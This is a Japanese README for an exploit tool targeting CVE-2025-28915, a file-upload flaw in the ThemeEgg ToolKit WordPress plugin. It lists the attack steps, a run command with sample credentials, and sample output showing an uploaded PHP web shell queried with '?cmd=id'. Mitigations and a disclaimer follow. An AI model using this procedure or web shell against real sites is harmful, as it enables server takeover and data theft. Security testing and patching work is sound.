CVE-2025-28915 - WordPress ThemeEgg ToolKit 任意ファイルアップロードエクスプロイト

📌 説明

WordPress 用プラグイン ThemeEgg ToolKit（バージョン ≤ 1.2.9）の無制限ファイルアップロード脆弱性により、認証済み攻撃者がサーバーにウェブシェルをアップロードできます。これにより、リモートコード実行 (RCE)、ウェブサイト全体の乗っ取り、機密データの漏えいにつながる可能性があります。

CVE ID: CVE-2025-28915
重要度: 🔴 重大 (CVSS: 9.1)
影響を受けるバージョン: ThemeEgg ToolKit ≤ 1.2.9
攻撃ベクトル: 認証済み、十分な権限を持つ WordPress ユーザーが必要
影響: サーバー完全侵害、コード実行、データ外部漏えい

🔥 エクスプロイト概要

このスクリプトは、CVE-2025-28915 の悪用を以下の手順で自動化します:

脆弱性を確認するためにプラグインバージョンを確認します。
提供された資格情報を使用して WordPress にログインします。
認証に必要なセキュリティ nonce を抽出します。
脆弱なエンドポイントを介して PHP Web Shell をアップロードします。
攻撃後の活動のためにシェル URL を提供します。

🚀 使用方法

前提条件:

Python 3.x
requests, beautifulsoup4

インストール:

pip install requests beautifulsoup4

コマンド例:

python CVE-2025-28915.py -u http://192.168.100.74:888/wordpress -un admin -p password123

引数:

引数	説明
`-u`	対象の WordPress URL（例: `http://target.com/wordpress`）
`-un`	WordPress ユーザー名
`-p`	WordPress パスワード

🎯 エクスプロイト出力例

[+] Vulnerable version detected: 1.2.9
[+] Logged in successfully.
[+] Found security nonce: f82467a997
[*] Uploading Web Shell...
[+] Web Shell uploaded successfully!
[+] Potential Web Shell location: http://target.com/wp-content/uploads/2025/03/shell.php
[*] Test command: http://target.com/wp-content/uploads/2025/03/shell.php?cmd=id

⚠️ 対策

ThemeEgg ToolKit を修正済みバージョン (>1.2.9) にアップグレードします。
ファイルアップロードを制限し、必要なファイルタイプのみ許可します。
不正なファイルアップロードをブロックするセキュリティプラグインを導入します。
ログを監視して不審なアクティビティを検出します。

📜 法的免責事項

このスクリプトは教育および正規のセキュリティテスト目的のみに使用されます。無許可での使用は違法かつ非倫理的です。作者は誤用に対する一切の責任を負いません。

著者: Khaled Alenazi (Nxploit)

CVE-2025-28915

人気